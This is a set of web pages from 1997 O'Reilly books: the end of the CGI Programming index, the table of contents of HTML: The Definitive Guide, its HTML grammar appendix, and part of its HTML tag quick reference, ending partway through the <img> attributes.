Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

W

Wall, Larry : Set UID/GID Wrapper
web browsers
animation and : Client Pull
caching virtual documents : The "Expires" and "Pragma" Headers
gateways to (see gateways)
information from
Check the Client Browser
name of : Check the Client Browser
web documents (see forms)
forms (see forms)
virtual (see dynamic documents)
web gateways (see gateways)
web servers
Where does my Perl CGI program have...
What Is CGI?
cgi-bin diretory : Internal Workings of CGI
configuring : Configuring the Server
decoding form input : Understanding the Decoding Process
domain-based access
Restricting Access for Specified Domains
environment variables for : About This Server
finding referring : Where Did You Come From?
graphing access to
Web Server Accesses
Web Server Accesses
graphing load on
Another Example: System Load Average
System Load Average
for Macintosh : Other Languages on Macintosh Servers
for Microsoft Windows : Other Languages Under Microsoft Windows
reducing load on
with complete headers
Complete (Non-Parsed) Headers
with server redirection : Server Redirection
referral : Where Did You Come From?
sending data to
Sending Data to the Server
Understanding the Decoding Process
serach/index gateways
Search/Index Gateway
winhttpd : Other Languages Under Microsoft Windows
WebSite server
WWW Server Information
Other Languages Under Microsoft Windows
WebSTAR server
WWW Server Information
Other Languages on Macintosh Servers
AppleScript
Windows
Other Languages Under Microsoft Windows
Perl for Windows NT
Windows 95 : Other Languages Under Microsoft Windows
Windows NT : Other Languages Under Microsoft Windows
Perl for : Perl for Windows NT
windows with scrollbars (see scrolled lists)
winhttpd server : Other Languages Under Microsoft Windows
World Wide Web (WWW)
NNTP
Overview
Network News on the Web
surveys and polls over
Survey/Poll and Pie Graphs
Drawing the Pie Chart
wrapper command : Set UID/GID Wrapper
WRONG (response type) : Quiz/Test Form Application

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Z

zombie processes : Forking/Spawning Child Processes
zsh, setting environment variables in : Server Simulation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


HTML: The Definitive Guide

HTML: The Definitive Guide
By Chuck Musciano and Bill Kennedy; ISBN: 1-56592-235-2, 531 pages.
Second Edition, May 1997.

Table of Contents
Preface
Chapter 1: HTML and the World Wide Web
Chapter 2: HTML Quick Start
Chapter 3: Anatomy of an HTML Document
Chapter 4: Text Basics
Chapter 5: Rules, Images, and Multimedia
Chapter 6: Document Layout
Chapter 7: Links and Webs
Chapter 8: Formatted Lists
Chapter 9: Cascading Style Sheets
Chapter 10: Forms
Chapter 11: Tables
Chapter 12: Frames
Chapter 13: Executable Content
Chapter 14: Dynamic Documents
Chapter 15: Tips, Tricks, and Hacks

Appendix A: HTML Grammar
Appendix B: HTML Tag Quick Reference
Appendix C: Cascading Style Sheet Properties Quick Reference
Appendix D: The HTML 3.2 DTD
Appendix E: Character Entities
Appendix F: Color Names and Values

Index

Search the text of HTML: The Definitive Guide.

Web Reference Library CGI Programming on the World Wide Web JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


[Appendix A] HTML Grammar

HTML: The Definitive Guide

Previous Appendix A Next

A. HTML Grammar

Contents:
Grammatical Conventions
The Grammar

For the most part, the exact syntax of an HTML document is not rigidly enforced by a browser. This gives authors wide latitude in creating documents and gives rise to documents that work on most browsers, but are actually incompatible with the standard. Stick to the standards unless your documents are fly-by-night affairs.

The HTML standard explicitly defines the ordering and nesting of tags and document elements. This syntax is embedded within the HTML Document Type Definition and is not readily understood by those not versed in SGML (see Appendix D, The HTML 3.2 DTD). Accordingly, we provide an alternate definition of the allowable HTML syntax, using a fairly common tool called a "grammar."

Grammar, whether it defines English sentences or HTML documents, is just a set of rules that indicate the order of language elements. These language elements can be divided into two sets: terminal (the actual words of the language) and nonterminal (all other grammatical rules). In HTML, the words correspond to the embedded markup tags and text in a document.

To use the grammar to create a valid HTML document, follow the order of the rules to see where the tags and text may be placed to create a valid HTML document.

A.1 Grammatical Conventions

We use a number of typographic and punctuation conventions to make our grammar easy to understand.

Typographic and Naming Conventions

For our HTML grammar, we denote the terminals with a bold, monospaced Courier typeface. The nonterminals appear in italicized text.

We also use a simple naming convention for the majority of our nonterminals: if one defines the syntax of a specific HTML tag, its name will be the tag name followed by "_tag." If a nonterminal defines the various language elements that may be nested within a certain tag, its name will be the tag name followed by "_content."

For example, if you are wondering exactly which elements are allowed within an <a> tag, you can look for the a_content rule within the grammar. Similarly, to determine the correct syntax of a definition list created with the <dl> tag, look for the dl_tag rule.

Punctuation Conventions

Each rule in the grammar starts with the rule's name, followed by the replacement symbol (::=) and the rule's value. We've intentionally kept the grammar simple, but we do use three punctuation elements to denote alternation, repetition, and optional elements in the grammar.

Alternation

Alternation indicates that a rule may actually have several different values, and you must choose exactly one of them. Vertical bars (|) separate the alternatives for the rule.

For example, the heading rule is equivalent to any one of six HTML heading tags, and so appears in the table as:

heading | ::= | h1_tag
 | | | h2_tag
 | | | h3_tag
 | | | h4_tag
 | | | h5_tag
 | | | h6_tag

The heading rule tells us that wherever the heading nonterminal appears in a rule, you can replace it with exactly one of the actual heading tags.

Repetition

Repetition indicates that an element within a rule may be repeated some number of times. Repeated elements are enclosed in curly braces ({...}). The closing brace has a subscripted number other than one if the element must be repeated a minimum number of times.

For example, the <ul> tag may only contain <li> tags, or it may actually be empty. The rule, therefore, is:

ul_tag | ::= | <ul>
 |  | {li_tag }0
 |  | </ul>

The rule says that the syntax of the <ul> tag requires the <ul> tag, zero or more <li> tags, followed by a closing </ul> tag.

We spread this rule across several lines and indented some of the elements to make it more readable only; it does not imply that your documents must actually be formatted this way.

Optional elements

Some elements may appear in a document, but are not required. Optional elements are enclosed in square brackets ([ and ]).

The <table> tag, for example, has an optional caption:

table_tag | ::= | <table>
 |  | [ caption_tag ]
 |  | {tr_tag }0
 |  | </table>

In addition, the rule says that a table begins with the <table> tag, followed by an optional caption, zero or more table-row tags, and ends with the </table> tag.

More Details

Our grammar stops at the tag level; it does not delve further to show the syntax of each tag, including tag attributes. For these details, refer to the HTML Quick Reference card included with this book.

Predefined Nonterminals

The HTML standard defines a few specific kinds of content that correspond to various types of text. We use these content types throughout the grammar. They are:

literal_text

Text is interpreted exactly as specified; no character entities or style tags are recognized.

plain_text

Regular characters in the document character encoding, along with character entities denoted by the ampersand character.

style_text

Like plain_text, with physical- and content-based style tags allowed.

Previous | Home | Next
Multiple Frames in One Link | Book Index | The Grammar
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.2 The Grammar

HTML: The Definitive Guide

Previous Appendix A
HTML Grammar 		Next

A.2 The Grammar

The grammar is a composite of the HTML 2.0 standard tags and special extensions to the language as enabled by the latest versions of NCSA Mosaic, Netscape Communication's Netscape Navigator, and Microsoft's Internet Explorer.

The rules are in alphabetical order. The starting rule for an entire document is named html_document.

a_tag | ::= | <a>
 |  | {a_content }0
 |  | </a>
a_content | ::= | heading
 | | | text
address_tag | ::= | <address>
 |  | {address_content }0
 |  | </address>
address_content | ::= | p_tag
 | | | text
applet_content | ::= | {<param>}0
 |  | body_content
applet_tag | ::= | <applet>
 |  | applet_content
 |  | </applet>
a_content may not contain a_tags; you may not nest <a> tags within other <a> tags.
b_tag | ::= | <b> text </b>
basefont_tag | ::= | <basefont>
 |  | body_content
 |  | </basefont>
big_tag | ::= | <big> text</big>
blink_tag | ::= | <blink> text</blink>
block | ::= | {block_content }0
block_content | ::= | <isindex>
 | | | basefont_tag
 | | | blockquote_tag
 | | | center_tag
 | | | dir_tag
 | | | div_tag
 | | | dl_tag
 | | | form_tag
 | | | listing_tag
 | | | menu_tag
 | | | multicol_tag
 | | | nobr_tag
 | | | ol_tag
 | | | p_tag
 | | | pre_tag
 | | | table_tag
 | | | ul_tag
 | | | xmp_tag
blockquote_tag | ::= | <blockquote>
 |  | body_content
 |  | </blockquote>
body_content | ::= | <bgsound>
 | | | <hr>
 | | | address_tag
 | | | block
 | | | heading
 | | | layer_tag
 | | | map_tag
 | | | marquee_tag
 | | | text
body_tag | ::= | <body>
 |  | {body_content }0
 |  | </body>
caption_tag | ::= | <caption>
 |  | body_content
 |  | </caption>
center_tag | ::= | <center>
 |  | body_content
 |  | </center>
cite_tag | ::= | <cite> text </cite>
code_tag | ::= | <code> text </code>
colgroup_content | ::= | {<col>}0
colgroup_tag | ::= | <colgroup>
 |  | colgroup_content
content_style | ::= | cite_tag
 | | | code_tag
 | | | dfn_tag
 | | | em_tag
 | | | kbd_tag
 | | | samp_tag
 | | | strong_tag
 | | | var_tag
dd_tag | ::= | <dd>
 |  | flow
 |  | </dd>
dfn_tag | ::= | <dfn> text </dfn>
dir_tag | ::= | <dir>
 |  | { li_tag }
 |  | </dir>
div_tag | ::= | <div>
 |  | body_content
 |  | </div>
dl_content | ::= | dt_tag dd_tag
The li_tag within the dir_tag may not contain any element found in a block.
dl_tag | ::= | <dl>
 |  | {dl_content }
 |  | </dl>
dt_tag | ::= | <dt>
 |  | text
 |  | </dt>
em_tag | ::= | <em> text </em>
flow | ::= | {flow_content }0
flow_content | ::= | block
 | | | text
font_tag | ::= | <font> style_text </font>
form_content | ::= | <input>
 | | | <keygen>
 | | | body_content
 | | | select_tag
 | | | textarea_tag
form_tag | ::= | <form>
 |  | {form_content }0
 |  | </form>
frameset_content | ::= | <frame>
 | | | noframes_tag
frameset_tag | ::= | <frameset>
 |  | {frameset_content }0
 |  | </frameset>
h1_tag | ::= | <h1> text </h1>
h2_tag | ::= | <h2> text </h2>
h3_tag | ::= | <h3> text </h3>
h4_tag | ::= | <h4> text </h4>
h5_tag | ::= | <h5> text </h5>
h6_tag | ::= | <h6> text </h6>
head_content | ::= | <base>
 | | | <isindex>
 | | | <link>
 | | | <meta>
 | | | <nextid>
form_content may not contain form_tags; you may not nest one <form> within another <form>.
 | | | style_tag
 | | | title_tag
head_tag | ::= | <head>
 |  | {head_content }0
 |  | </head>
heading | ::= | h1_tag
 | | | h2_tag
 | | | h3_tag
 | | | h4_tag
 | | | h5_tag
 | | | h6_tag
html_content | ::= | head_tag body_tag
 | | | head_tag frameset_tag
html_document | ::= | html_tag
html_tag | ::= | <html>
 |  | html_content
 |  | </html>
i_tag | ::= | <i> text </i>
ilayer_tag | ::= | <ilayer>
 |  | body_content
 |  | </ilayer>
kbd_tag | ::= | <kbd> text </kbd>
layer_tag | ::= | <layer>
 |  | body_content
 |  | </layer>
li_tag | ::= | <li>
 |  | flow
 |  | </li>
listing_tag | ::= | <listing>
 |  | literal_text
 |  | </listing>
map_content | ::= | {<area>}0
map_tag | ::= | <map>
 |  | map_content
 |  | </map>
marquee_tag | ::= | <marquee>
 |  | style_text
 |  | </marquee>
menu_tag | ::= | <menu>
 |  | {li_tag }0
 |  | </menu>
multicol_tag | ::= | <multicol>
 |  | body_content
 |  | </multicol>
nobr_tag | ::= | <nobr> text </nobr>
noembed_tag | ::= | <noembed> text </noembed>
noframes_tag | ::= | <noframes>
 |  | {body_content }0
 |  | </noframes>
noscript_tag | ::= | <noscript> text </noscript>
object_content | ::= | {<param>}0
 |  | body_content
object_tag | ::= | <object>
 |  | object_content
 |  | </object>
ol_tag | ::= | <ol>
 |  | {li_tag }
 |  | </ol>
option_tag | ::= | <option>
 |  | plain_text
 |  | </option>
p_tag | ::= | <p>
 |  | text
 |  | </p>
physical_style | ::= | b_tag
 | | | big_tag
 | | | blink_tag
 | | | font_tag
 | | | i_tag
 | | | s_tag
 | | | small_tag
 | | | span_tag
The li_tag within the menu_tag may not contain any element found in a block.
 | | | strike_tag
 | | | sub_tag
 | | | sup_tag
 | | | tt_tag
 | | | u_tag
pre_content | ::= | <br>
 | | | <hr>
 | | | a_tag
 | | | style_text
pre_tag | ::= | <pre>
 |  | {pre_content }0
 |  | </pre>
s_tag | ::= | <s> text </s>
samp_tag | ::= | <samp> text </samp>
script_tag | ::= | <script> plain_text </script>
select_tag | ::= | <select>
 |  | {option_tag }
 |  | </select>
server_tag | ::= | <server> plain_text </server>
small_tag | ::= | <small> text </small>
span_tag | ::= | <span> text </span>
strike_tag | ::= | <strike> text </strike>
strong_tag | ::= | <strong> text </strong>
style_tag | ::= | <style> plain_text </style>
sub_tag | ::= | <sub> text </sub>
sup_tag | ::= | <sup> text </sup>
table_cell | ::= | td_tag
 | | | th_tag
table_content | ::= | <tbody>
 | | | <tfoot>
 | | | <thead>
 | | | tr_tag
A script_tag may be placed anywhere within an HTML document, without regard to syntactic rules.A server_tag may be placed anywhere within an HTML document, without regard to syntactic rules.
table_tag | ::= | <table>
 |  | [caption_tag ]
 |  | {colgroup_tag }0
 |  | {table_content }0
 |  | </table>
td_tag | ::= | <td>
 |  | body_content
 |  | </td>
text | ::= | {text_content }0
text_content | ::= | <br>
 | | | <embed>
 | | | <iframe>
 | | | <img>
 | | | <spacer>
 | | | <wbr>
 | | | a_tag
 | | | applet_tag
 | | | content_style
 | | | ilayer_tag
 | | | noembed_tag
 | | | noscript_tag
 | | | object_tag
 | | | plain_text
 | | | physical_style
textarea_tag | ::= | <textarea> plain_text </textarea>
th_tag | ::= | <th>
 |  | body_content
 |  | </th>
title_tag | ::= | <title> plain_text </title>
tr_tag | ::= | <tr>
 |  | {table_cell }0
 |  | </tr>
tt_tag | ::= | <tt> text </tt>
u_tag | ::= | <u> text </u>
ul_tag | ::= | <ul>
 |  | {li_tag }
 |  | </ul>
var_tag | ::= | <var> text </var>
xmp_tag | ::= | <xmp>
 |  | literal_text
 |  | </xmp>

Previous | Home | Next
Grammatical Conventions | Book Index | HTML Tag Quick Reference
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix B] HTML Tag Quick Reference

HTML: The Definitive Guide

Previous Appendix B Next

B. HTML Tag Quick Reference

In the following table, we list in alphabetical order all the known and some undocumented HTML tags and attributes currently supported by one or more of today's browsers.

As with the other sections of this book, we use the Netscape and Microsoft icons to the far right of each item to show which browser supports that tag or attribute. If no icon is shown, the tag or attribute is part of the HTML 3.2 standard and is supported by both browsers.

We include each tag's possible attributes (some required) indented below their respective tags. In the description, we give possible attribute values as either a range of integer numbers or a definitive list of options, where possible.

<a> ... </a> | Create a hyperlink anchor (href attribute) or fragment identifier (name attribute) |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
href=url | Specify the URL of a hyperlink target (required if not a name anchor) |
name=name | Specify the name of a fragment identifier (required if not a hypertext reference anchor) |
onclick=applet | Specify an applet to run when user clicks on the image | (Netscape) (Internet Explorer)
onmouseout=applet | Specify an applet to run when the mouse leaves the image | (Netscape)
onmouseover=applet | Specify an applet to run when the mouse enters the image | (Netscape) (Internet Explorer)
rel=relationship | Indicate the relationship from this document to the target |
rev=relationship | Indicate the reverse relationship of the target to this document |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
target=name | Define the name of the frame or window to receive the referenced document | (Netscape) (Internet Explorer)
title=string | Provide a title for the target document |
<address> ... </address> | The enclosed text is an address |
<applet> ... </applet> | Define an executable applet within a text flow |
align=position | Align the <applet> region to either the top, middle, bottom (default), left, right, absmiddle, baseline, or absbottom of the text in the line |
alt=string | Specify alternative text to replace the <applet> region within browsers that support the <applet> tag, but cannot execute the application |
archive=url | Specify a class archive to be downloaded to the browser and then searched for code class | (Netscape)
code=class | Specify the class name of the code to be executed (required) |
codebase=url | URL from which the code is retrieved |
height=n | Specify the height, in pixels, of the <applet> region |
hspace=n | Specify additional space, in pixels, to allow to the left and right of the <applet> region |
mayscript | If present, allows the applet to access JavaScript within the page | (Netscape)
name=name | Specify the name of this particular instance of the <applet> |
title=string | Provide a title for the applet | (Internet Explorer)
vspace=n | Specify additional space, in pixels, to allow above and below the <applet> region |
width=n | Specify the width, in pixels, of the <applet> region |
<area> | Define a mouse-sensitive area in a client-side image map |
alt=string | Provide alternative text to be displayed by nongraphical browsers |
coords=list | Specify a comma-separated list of shape-dependent coordinates that define the edge of this area |
href=url | Specify the URL of a hyperlink target associated with this area |
nohref | Indicate that no document is associated with this area; clicking in the area has no effect |
notab | Do not include this area in the tabbing order | (Internet Explorer)
onmouseout=applet | Specify an applet to be run when the mouse leaves this area | (Netscape)
onmouseover=applet | Specify an applet to be run when the mouse enters this area | (Netscape)
shape=shape | Define the region's shape to be circ, circle, poly, polygon, rect, or rectangle |
taborder=n | Specify this area's position in the tabbing order | (Internet Explorer)
target=name | Specify the frame or window to receive the document linked by this area | (Netscape)
title=string | Provide a title for this area | (Internet Explorer)
<b> ... </b> | Format the enclosed text using a bold typeface |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<base> | Specify the base URL for all relative URLs in this document |
href=url | Specify the base URL (required) |
target=name | Define the default target of all <a> links in the document | (Netscape) (Internet Explorer)
<basefont> | Specify the font size for subsequent text |
color=color | Specify the base font's color | (Internet Explorer)
name=name | Specify local font to be used for the base font | (Internet Explorer)
size=value | Set the basefont size of 1 to 7 (required; default is 3) |
<bgsound> | Define background audio for the document | (Internet Explorer)
loop=value | Set the number of times to play the audio; value may be an integer or the value infinite | (Internet Explorer)
src=url | Provide the URL of the audio file to be played | (Internet Explorer)
<big> ... </big> | Format the enclosed text using a bigger typeface |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<blink> ... </blink> | Cause the enclosed content to blink | (Netscape)
<blockquote> ... </blockquote> | The enclosed text is a block quotation |
<body> ... </body> | Delimit the beginning and end of the document body |
alink=color | Set the color of active hypertext links in the document |
background=url | Specify the URL of an image to be tiled in the document background |
bgcolor=color | Set the background color of the document |
bgproperties=value | With value set to fixed, prevent the background image from scrolling with the document content | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
leftmargin=value | Set the size, in pixels, of the document's left margin | (Internet Explorer)
link=color | Set the color of unvisited hypertext links in the document |
onblur=applet | Specify an applet to be run when the mouse leaves the document window | (Netscape) (Internet Explorer)
onfocus=applet | Specify an applet to be run when the mouse enters the document window | (Netscape) (Internet Explorer)
onload=applet | Specify an applet to be run when the document is loaded | (Netscape) (Internet Explorer)
onunload=applet | Specify an applet to be run when the document is unloaded | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
text=color | Set the color of regular text in the document |
topmargin=value | Set the size, in pixels, of the document's top margin | (Internet Explorer)
vlink=color | Set the color of visited links in the document |
<br> | Break the current text flow, resuming at the beginning of the next line |
clear=margin | Break the flow and move downward until the desired margin, either left, right, none, or all, is clear |
<caption> ... </caption> | Define a caption for a table |
align=position | For Netscape, set the vertical position of the caption to either top or bottom. For Internet Explorer, set the horizontal alignment of the caption to either left, center, or right. |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
valign=position | Set the vertical position of the caption to either top or bottom | (Internet Explorer)
<center> ... </center> | Center the enclosed text |
<cite> ... </cite> | The enclosed text is a citation |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<code> ... </code> | The enclosed text is a code sample |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<col> | Define a column within a <colgroup> | (Internet Explorer)
align=position | Set the column alignment to left, center, or right | (Internet Explorer)
span=n | Define the number of columns affected by this <col> tag | (Internet Explorer)
<colgroup> | Define a column group within a table | (Internet Explorer)
align=position | Set the horizontal alignment of text within the columns to either left, center, or right | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Internet Explorer)
span=n | Define the number of columns in the group | (Internet Explorer)
style=style | Specify an inline style for this tag | (Internet Explorer)
valign=position | Set the vertical alignment of text within the columns to either top, middle, or bottom | (Internet Explorer)
width=n | Set the width, in pixels or as a percentage, of each column in the group | (Internet Explorer)
<comment> ... </comment> | Place a comment in the document. Comments will be visible in all other browsers. | (Internet Explorer)
<dd> ... </dd> | Define the definition portion of an element in a definition list |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<dfn> ... </dfn> | Format the enclosed text as a definition |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<dir> ... </dir> | Create a directory list containing <li> tags |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
compact | Make the list more compact if possible |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
type=bullet | Set the bullet style for this list to either circle, disc (default), or square | (Netscape) (Internet Explorer)
<div> ... </div> | Create a division within a document |
align=type | Align the text within the division to left, center, or right |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
lang=name | Specify the language used for this division | (Internet Explorer)
nowrap | Suppress word wrapping within this division | (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<dl> ... </dl> | Create a definition list containing <dt> and <dd> tags |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
compact | Make the list more compact if possible |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<dt> ... </dt> | Define the definition term portion of an element in a definition list |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<em> ... </em> | Format the enclosed text with additional emphasis |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<embed> | Embed an application in a document | (Netscape) (Internet Explorer)
align=position | Align the applet area to either the top or bottom of the adjacent text, or to the left or right margin of the page, with subsequent text flowing around the applet | (Netscape)
border=n | Specify the size, in pixels, of the border around the applet | (Netscape)
height=n | Specify the height, in pixels, of the applet | (Netscape) (Internet Explorer)
hidden | If present, hide the applet on the page | (Netscape) (Internet Explorer)
hspace=n | Define, in pixels, additional space to be placed to the left and right of the applet | (Netscape)
name=name | Provide a name for the applet | (Netscape) (Internet Explorer)
palette=value | In Netscape, a value of foreground causes the applet to use the foreground palette in Windows only; background uses the background palette. In Internet Explorer, provides the foreground and background colors for the applet, specified as two color values separated by a vertical bar (|) | (Netscape) (Internet Explorer)
pluginspage=url | Provides the URL of the page containing instructions for installing the plug-in associated with the applet | (Netscape)
src=url | Supplies the URL of the data to be fed to the applet | (Netscape) (Internet Explorer)
type=type | Specifies the MIME type of the plug-in to be used | (Netscape)
units=type | Set the units for the height and width attributes to either pixels (the default) or en (half the text point size) | (Netscape) (Internet Explorer)
vspace=n | Define, in pixels, additional space to be placed above and below the applet | (Netscape)
width=n | Specify the width, in pixels, of the applet | (Netscape) (Internet Explorer)
<font> ... </font> | Set the size or color of the enclosed text |
color=color | Set the color of the enclosed text to the desired color |
face=list | Set the typeface of the enclosed text to the first available font in the comma-separated list of font names | (Netscape) (Internet Explorer)
size=value | Set the size to absolute size 1 to 7, or relative to the <basefont> size using +n or -n (required) |
<form> ... </form> | Delimit a form |
action=url | Specify the URL of the application that will process the form (required) |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
enctype=encoding | Specify how the form element values will be encoded |
method=style | Specify the parameter-passing style, either get or post (required) |
name=name | Supply a name for this form for use by JavaScript | (Netscape)
onreset=applet | Specify an applet to be run when the form is reset | (Netscape)
onsubmit=applet | Specify an applet to be run when the form is submitted | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
target=name | Specify the name of the frame or window to receive the results of the form after submission | (Netscape) (Internet Explorer)
<frame> ... </frame> | Define a frame within a frameset | (Netscape) (Internet Explorer)
bordercolor=color | Set the color of the frame's border to color | (Netscape)
frameborder=n | If value is yes (Netscape only) or 1 (Netscape and Internet Explorer), enable frame borders. If value is no (Netscape only) or 0 (Netscape and Internet Explorer), disable frame borders. | (Netscape) (Internet Explorer)
marginheight=n | Place n pixels of space above and below the frame contents | (Netscape) (Internet Explorer)
marginwidth=n | Place n pixels of space to the left and right of the frame contents | (Netscape) (Internet Explorer)
name=name | Define the name of the frame | (Netscape) (Internet Explorer)
noresize | Disable user resizing of the frame | (Netscape) (Internet Explorer)
scrolling=type | Always add scrollbars (yes), never add scrollbars (no), or for Netscape only, add scrollbars when needed (auto) | (Netscape) (Internet Explorer)
src=url | Define the URL of the source document for this frame | (Netscape) (Internet Explorer)
<frameset> ... </frameset> | Define a collection of frames or other framesets | (Netscape) (Internet Explorer)
border=n | Set the thickness of the frame borders in this frameset | (Netscape)
bordercolor=color | Define the color of the borders in this frameset | (Netscape)
cols=list | Specify the number and width of frames within a frameset | (Netscape) (Internet Explorer)
frameborder=value | If value is yes (Netscape only) or 1 (Netscape and Internet Explorer), enable frame borders. If value is no (Netscape only) or 0 (Netscape and Internet Explorer), disable frame borders. | (Netscape) (Internet Explorer)
framespacing=n | Define the thickness of the frame borders in this frameset | (Internet Explorer)
onblur=applet | Define an applet to be run when the mouse leaves this frameset | (Netscape)
onfocus=applet | Define an applet to be run when the mouse enters this frameset | (Netscape)
onload=applet | Define an applet to be run when this frameset is loaded | (Netscape)
onunload=applet | Define an applet to be run when this frameset is removed from the display | (Netscape)
rows=list | Specify the number and height of frames within a frameset | (Netscape) (Internet Explorer)
<hn> ... </hn> | The enclosed text is a level n header; for level n from 1 to 6 |
align=type | Specify the heading alignment as either left (default), center, or right |
class=name | Specify a style class controlling the appearance of the heading | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<head> ... </head> | Delimit the beginning and end of the document head |
<hr> | Break the current text flow and insert a horizontal rule |
align=type | Specify the rule alignment as either left, center (default), or right |
class=name | Specify a style class controlling the appearance of the rule | (Netscape) (Internet Explorer)
color=color | Define the color of the rule | (Internet Explorer)
noshade | Do not use 3D shading to render the rule |
size=pixels | Set the thickness of the rule to an integer number of pixels |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
width=value or % | Set the width of the rule to either an integer number of pixels or a percentage of the page width |
<html> ... </html> | Delimit the beginning and end of the entire HyperText Markup Language document |
version=string | Indicate the HTML version used to create this document |
<i> ... </i> | Format the enclosed text in an italic typeface |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<iframe> ... </iframe> | Define an inline frame | (Internet Explorer)
align=position | Set the position of the frame aligned to the top, center, or bottom of the surrounding text, or flush against the left or right margins with subsequent text flowing around the frame | (Internet Explorer)
frameborder=value | If value is 1, enable frame borders. If value is 0, disable frame borders. | (Internet Explorer)
height=n | Set the height, in pixels, of the frame | (Internet Explorer)
marginheight=n | Place n pixels of space above and below the frame contents | (Internet Explorer)
marginwidth=n | Place n pixels of space to the left and right of the frame contents | (Internet Explorer)
name=name | Define the name of the frame | (Internet Explorer)
scrolling=type | Always add scrollbars (yes) or never add scrollbars (no) | (Internet Explorer)
src=url | Define the URL of the source document for this frame | (Internet Explorer)
width=n | Set the width, in pixels, of the frame | (Internet Explorer)
<ilayer> ... </ilayer> | Define an inline layer | (Netscape)
above=name | Place this layer above the named layer | (Netscape)
background=url | Specify a background image for the layer | (Netscape)
below=name | Place this layer below the named layer | (Netscape)
bgcolor=color | Specify the background color for the layer | (Netscape)
class=name | Specify a style class controlling the appearance of this tag | (Netscape)
clip=edge | Define the layer's clipping region, in pixels. If left and top are 0, they may be omitted | (Netscape)
left=n | Define, in pixels, the position of the layer's left edge from the containing line of text | (Netscape)
name=name | Provide a name for the layer | (Netscape)
src=url | Supply the content of the layer from another document | (Netscape)
style=style | Specify an inline style for this tag | (Netscape)
top=n | Define, in pixels, the position of the layer's top edge from the containing line of text | (Netscape)
visibility=value | Determine whether to show the layer, hide the layer, or inherit the visibility attribute from a containing layer | (Netscape)
width=n | Define the width, in pixels, of the layer | (Netscape)
z-index=n | Specify the layer's position in the stacking order | (Netscape)
<img> | Insert an image into the current text flow |
align=type | Align the image to either the top, middle, bottom (default), left, or right of the text in the line. For Netscape Navigator, additionally to the absmiddle, baseline, or absbottom of the text. |
alt=text | Provide alternative text for non-image-capable browsers |
border=n | Set the pixel thickness of the border around images contained within hyperlinks |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
controls | Add playback controls for embedded video clips | (Internet Explorer)
dynsrc=url | Specify the URL of a video clip to be displayed | (Internet Explorer)
height=n | Specify the height of the image in scan lines |
hspace=n | Specify the space, in pixels, to be added to the left and right of the image |
ismap | Indicate that the image is mouse-selectable when used within an <a> tag |
loop=value | Set the number of times to play the video; value may be an integer or the value infinite | (Internet Explorer)
lowsrc=url | Specify a low-resolution image to be loaded by the browser first, followed by the image specified by the src attribute | (Netscape)
name=name | Provide a name for the image for use by JavaScript | (Netscape)
onabort=applet | Provide an applet to be run if the loading of the image is aborted | (Netscape)
onerror=applet | Provide an applet to be run if the loading of the image is unsuccessful | (Netscape)
onload=applet | Provide an applet to be run if the loading of the image is successful | (Netscape)
src=url | Specify the source URL of the image to be displayed (required) |
start=start | Specify when to play the video clip, either fileopen or mouseover | (Internet Explorer)
